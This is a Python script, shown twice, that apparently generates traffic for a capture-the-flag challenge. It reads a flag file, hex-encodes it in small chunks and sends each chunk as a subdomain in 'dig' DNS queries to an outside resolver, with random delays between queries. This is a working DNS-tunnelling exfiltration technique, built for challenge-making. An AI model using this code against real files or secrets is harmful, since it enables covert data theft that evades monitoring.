<filename>tasks/easy-50/bypass/generate/generate.py<gh_stars>1-10
import random
import subprocess
import time

with open('../flag.txt') as f:
    DATA = 'Super secret data is ' + f.read()

for i in range(0, len(DATA), 4):
    part = DATA[i:i + 4].encode().hex()
    command = [
        'dig',
        f'{part}.google.com',
        '@192.168.127.12',
        # '@127.0.0.1',
        '+short',
    ]

    print(f'Sending {part}')
    p = subprocess.Popen(command)
    p.wait()
    print(f'Done {min(i + 4, len(DATA))} of {len(DATA)}')
    time.sleep(random.randint(1, 5))

<filename>tasks/easy-50/bypass/generate/generate.py<gh_stars>1-10
import random
import subprocess
import time

with open('../flag.txt') as f:
    DATA = 'Super secret data is ' + f.read()

for i in range(0, len(DATA), 4):
    part = DATA[i:i + 4].encode().hex()
    command = [
        'dig',
        f'{part}.google.com',
        '@192.168.127.12',
        # '@127.0.0.1',
        '+short',
    ]

    print(f'Sending {part}')
    p = subprocess.Popen(command)
    p.wait()
    print(f'Done {min(i + 4, len(DATA))} of {len(DATA)}')
    time.sleep(random.randint(1, 5))

# '@127.0.0.1',